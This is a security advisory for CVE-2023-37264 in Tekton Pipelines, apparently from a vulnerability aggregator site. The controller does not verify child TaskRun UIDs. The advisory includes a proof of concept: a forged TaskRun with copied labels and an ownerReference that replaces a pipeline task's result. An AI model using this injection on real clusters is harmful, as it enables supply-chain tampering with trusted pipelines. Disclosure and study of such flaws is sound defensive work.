Pipelines do not validate child UIDs
Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.
We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.
While we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) .
This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.
I believe this is also true for [TaskRuns -> Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven't tested this.
If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)
```yaml
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: PipelineRun
metadata:
name: hello-pr
spec:
pipelineSpec:
tasks:
taskSpec:
steps:
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
sleep 60
runAfter: [task1]
taskSpec:
steps:
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
echo "asdf" > $(results.foo.path)
results:
results:
value: $(tasks.task2.results.foo)
```
Once this is running, grab the PR UID:
```sh
$ k get pr hello-pr -o json | jq .metadata.uid -r
```
While pipeline is running task 1, start fake task 2:
```yaml
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: TaskRun
metadata:
annotations:
labels:
[app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines
[tekton.dev/memberOf](http://tekton.dev/memberOf): tasks
[tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr
[tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr
[tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2
name: hello-pr-task2
namespace: default
ownerReferences:
blockOwnerDeletion: true
controller: true
kind: PipelineRun
name: hello-pr
uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step
spec:
serviceAccountName: default
taskSpec:
results:
type: string
steps:
name: echo
resources: {}
script: |
echo "zxcv" > $(results.foo.path)
```
Get pipeline results - it shows the output of the 2nd injected TaskRun
```
$ k get pr -o json hello-pr | jq .status.pipelineResults
[
{
"name": "foo",
"value": "zxcv\n"
}
]
```
This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.
Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.
This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
CVE-2023-37264 is classified as CWE-345: Insufficient Verification of Data Authenticity. Data is trusted without confirming it really came from the claimed source and was not altered.
CVE-2023-37264 is recorded against 2 packages.
Published on 7 July 2023 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
pkg.go.dev (Web)
github.com/tektoncd/pipeline has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-345: Insufficient Verification of Data Authenticity) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/tektoncd/pipeline | — | — |
| tekton-pipelines | 0.35.0 | — |
References
Similar Threats
Free Vulnerability Check
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2023-37264 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.